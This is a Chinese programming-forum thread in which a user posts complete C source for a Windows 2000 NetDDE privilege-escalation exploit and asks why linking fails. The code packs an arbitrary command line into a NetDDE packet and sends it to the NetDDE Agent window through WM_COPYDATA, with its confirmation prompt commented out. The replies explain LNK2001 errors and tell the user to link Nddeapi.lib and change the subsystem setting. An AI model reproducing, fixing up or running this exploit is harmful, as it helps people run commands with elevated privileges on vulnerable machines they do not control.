是个windows2000权限提升漏洞的测试代码,不知是不是vc++的
编译时没错,link时
--------------------Configuration: netdde - Win32 Debug--------------------
Linking...
netdde.obj : error LNK2001: unresolved external symbol _NDdeGetErrorStringA@12
netdde.obj : error LNK2001: unresolved external symbol _NDdeShareEnumA@24
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/netdde.exe : fatal error LNK1120: 3 unresolved externals
Error executing link.exe.netdde.exe - 4 error(s), 0 warning(s)
代码如下:
#include<windows.h> 
#include<stdlib.h> 
#include<stdio.h> 
#include<nddeapi.h> void NDDEError(UINT err) 

char error[256]; 
 NDdeGetErrorString(err,error,256); 
 MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); 
// exit(err); 

void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen) 

 // Build NetDDE message 
 int cmdlinelen=strlen(svCmdLine); 
 int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1; 
 char *funky=(char *)malloc(funkylen); 
 if(funky==NULL) { 
  MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); 
  return NULL; 
 } 
  
 funky[0x00]=(char)0xE1;  
 funky[0x01]=(char)0xDD; 
 funky[0x02]=(char)0xE1; 
 funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number) 
 funky[0x04]=(char)0x01; 
 funky[0x05]=(char)0x00; 
 funky[0x06]=(char)0x00; 
 funky[0x07]=(char)0x00; // 0x00000001 (?) 
 funky[0x08]=(char)0x01; 
 funky[0x09]=(char)0x00; 
 funky[0x0A]=(char)0x00; 
 funky[0x0B]=(char)0x00; // 0x00000001 (?) 
  
 funky[0x0C]=(char)0x05; // ShareModId 
 funky[0x0D]=(char)0x00; 
 funky[0x0E]=(char)0x00; 
 funky[0x0F]=(char)0x09; 
 funky[0x10]=(char)0x00; 
 funky[0x11]=(char)0x00; 
 funky[0x12]=(char)0x00; 
 funky[0x13]=(char)0x01; 
 funky[0x14]=(char)0xCC; // unused (?) 
 funky[0x15]=(char)0xCC; 
 funky[0x16]=(char)0xCC; 
 funky[0x17]=(char)0xCC; 
 memcpy(funky+0x18,svShareName,strlen(svShareName)+1);  // Share name 
 memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute 
 *pBufLen=funkylen; 
 return funky; 
} int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow) 

 // TODO: Place code here. 
// Check command line 
 int cmdlinelen; 
 if(lpCmdLine==NULL || lpCmdLine[0]=='\0') { 
  MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); 
  return -1; 
 } 
 cmdlinelen=strlen(lpCmdLine); 
  
 char *szShare=NULL; 
 char *szCmdLine=lpCmdLine; 
 if(strncmp(lpCmdLine,"-s",2)==0) { 
  szShare=lpCmdLine+2; 
  while ((*szShare)==' ') 
   szShare++; 
  char *szEnd=strchr(szShare,' '); 
  if(szEnd==NULL) { 
   MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP); 
   return -1; 
  } 
  szCmdLine=szEnd+1; 
  *szEnd='\0'; 
 } 
 // Get NetDDE Window 
 HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent"); 
 if(hwnd==NULL) { 
  MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND); 
  return -1; 
 } 
 // Get computer name 
 DWORD dwSize=256; 
 char svCompName[256]; 
 GetComputerName(svCompName,&dwSize); 
 // Get list of shares to try 
 char *sharename,*sharenames; 
 if(szShare==NULL) { 
  // Try all shares 
  UINT err; 
  DWORD dwNumShares; 
  // deep check otgpdvt 
  err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize); 
  if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) { 
   NDDEError(err); 
  } 
  sharenames=(char *)malloc(dwSize); 
  err=NDdeShareEnum(svCompName,0,(LPBYTE)sharenames,dwSize,&dwNumShares,&dwSize); 
  if(err!=NDDE_NO_ERROR) { 
   NDDEError(err); 
  } 
 } else { 
  // Try command line share 
  sharenames=(char *)malloc(strlen(szShare)+2); 
  memset(sharenames,'0',strlen(szShare)+2); 
  strcpy(sharenames,szShare); 
 } 
  
 // Try all shares 
 for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1)) { 
   
  // Ask user 
  if(szShare==NULL) { 
   char svPrompt[256]; 
   _snprintf(svPrompt,256,"Try command through the '%s'share?",sharename); 
  //  if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO) 
  //   continue; 
  } 
  // Get NetDDE packet 
  void *funky; 
  int funkylen; 
  funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen); 
  if(funky==NULL) 
   return -1; 
  
  // Perform CopyData 
  COPYDATASTRUCT cds; 
  cds.cbData=funkylen; 
  cds.dwData=0; 
  cds.lpData=(PVOID)funky; 
  SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds); 
  
  // Free memory 
 free(funky); 
 } 
 // Free memory 
 free(sharenames); 
return 0; 
}  

解决方案 »

  1.   

    学习VC++时经常会遇到链接错误LNK2001,该错误非常讨厌,因为对于编程者来说,最好改的错误莫过于编译错误,而一般说来发生连接错误时,编译都已通过。产生连接错误的原因非常多,尤其LNK2001错误,常常使人不明其所以然。如果不深入地学习和理解VC++,要想改正连接错误LNK2001非常困难。初学者在学习VC++的过程中,遇到的LNK2001错误的错误消息主要为:
      unresolved external symbol “symbol”(不确定的外部“符号”)。
      如果连接程序不能在所有的库和目标文件内找到所引用的函数、变量或标签,将产生此错误消息。一般来说,发生错误的原因有两个:一是所引用的函数、变量不存在、拼写不正确或者使用错误;其次可能使用了不同版本的连接库。
      以下是可能产生LNK2001错误的原因:
      一.由于编码错误导致的LNK2001。
      1.不相匹配的程序代码或模块定义(.DEF)文件能导致LNK2001。例如, 
    如果在C++ 源文件内声明了一变量“var1”,却试图在另一文件内以变量
    “VAR1”访问该变量,将发生该错误。
      2.如果使用的内联函数是在.CPP文件内定义的,而不是在头文件内定
    义将导致LNK2001错误。
      3.调用函数时如果所用的参数类型同函数声明时的类型不符将会产生
    LNK2001。
      4.试图从基类的构造函数或析构函数中调用虚拟函数时将会导致LNK2001。
      5.要注意函数和变量的可公用性,只有全局变量、函数是可公用的。
      静态函数和静态变量具有相同的使用范围限制。当试图从文件外部访问
    任何没有在该文件内声明的静态变量时将导致编译错误或LNK2001。
      函数内声明的变量(局部变量) 只能在该函数的范围内使用。
      C++ 的全局常量只有静态连接性能。这不同于C,如果试图在C++的
    多个文件内使用全局变量也会产生LNK2001错误。一种解决的方法是需要时在
    头文件中加入该常量的初始化代码,并在.CPP文件中包含该头文件;另一种
    方法是使用时给该变量赋以常数。
      二.由于编译和链接的设置而造成的LNK2001
      1.如果编译时使用的是/NOD(/NODEFAULTLIB)选项,程序所需要的运行
    库和MFC库在连接时由编译器写入目标文件模块, 但除非在文件中明确包含
    这些库名,否则这些库不会被链接进工程文件。在这种情况下使用/NOD将导
    致错误LNK2001。
      2.如果没有为wWinMainCRTStartup设定程序入口,在使用Unicode和MFC
    时将得到“unresolved external on _WinMain@16”的LNK2001错误信息。
      3.使用/MD选项编译时,既然所有的运行库都被保留在动态链接库之内,
    源文件中对“func”的引用,在目标文件里即对“__imp__func” 的引用。
    如果试图使用静态库LIBC.LIB或LIBCMT.LIB进行连接,将在__imp__func上发
    生LNK2001;如果不使用/MD选项编译,在使用MSVCxx.LIB连接时也会发生LNK2001。
      4.使用/ML选项编译时,如用LIBCMT.LIB链接会在_errno上发生LNK2001。
      5.当编译调试版的应用程序时,如果采用发行版模态库进行连接也会产
    生LNK2001;同样,使用调试版模态库连接发行版应用程序时也会产生相同的
    问题。
      6.不同版本的库和编译器的混合使用也能产生问题,因为新版的库里可
    能包含早先的版本没有的符号和说明。
      7.在不同的模块使用内联和非内联的编译选项能够导致LNK2001。如果
    创建C++库时打开了函数内联(/Ob1或/Ob2),但是在描述该函数的相应头
    文件里却关闭了函数内联(没有inline关键字),这时将得到该错误信息。
    为避免该问题的发生,应该在相应的头文件中用inline关键字标志内联函数。
      8.不正确的/SUBSYSTEM或/ENTRY设置也能导致LNK2001。
      其实,产生LNK2001的原因还有很多,以上的原因只是一部分而已,对初
    学者来说这些就够理解一阵子了。但是,分析错误原因的目的是为了避免错
    误的发生。LNK2001错误虽然比较困难,但是只要注意到了上述问题,还是能
    够避免和予以解决的
      

  2.   

    To:loopyifly(深情咸鱼) 
    好详尽!
    佩服!
      

  3.   

    project->settings->link->library module里添加Nddeapi.lib试试
      

  4.   

    好多了,还有2个错误
    Linking...
    LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
    Debug/netdde.exe : fatal error LNK1120: 1 unresolved externals
    Error executing link.exe.
      

  5.   

    大哥,你的代码中
    没有main函数,缺少主函数.
      

  6.   

    呵呵,现在什么年代了,还要main();
    error LNK2001: unresolved external symbol _main
    可以这样解决,在工程属性里把Console的都改成相应大小写的Windows,告诉编译器是使用Windows系统。
    这当然远远不够,我想楼主应该看看DDE方面的东东,了解一下。
      

  7.   

    project->settings->link->library module里添加Nddeapi.lib
      

  8.   

    :>
    在我遇到LNK2001 .....unresolved external symbol “symbol”这个错误的的10次中的有9次是因为忘了在link里设那些 *.lib的引入库。当你把所需的 lib 都添加好后一般就搞定了。 
     project->settings->link->library module里添加。
      

  9.   

    加了Nddeapi.lib还有2个错误现在我就是不知道该添加哪些lib
      

  10.   

    你的程序总得有个"main"入口吧?要么是main,要么是WinMain,要么是DllMain等等……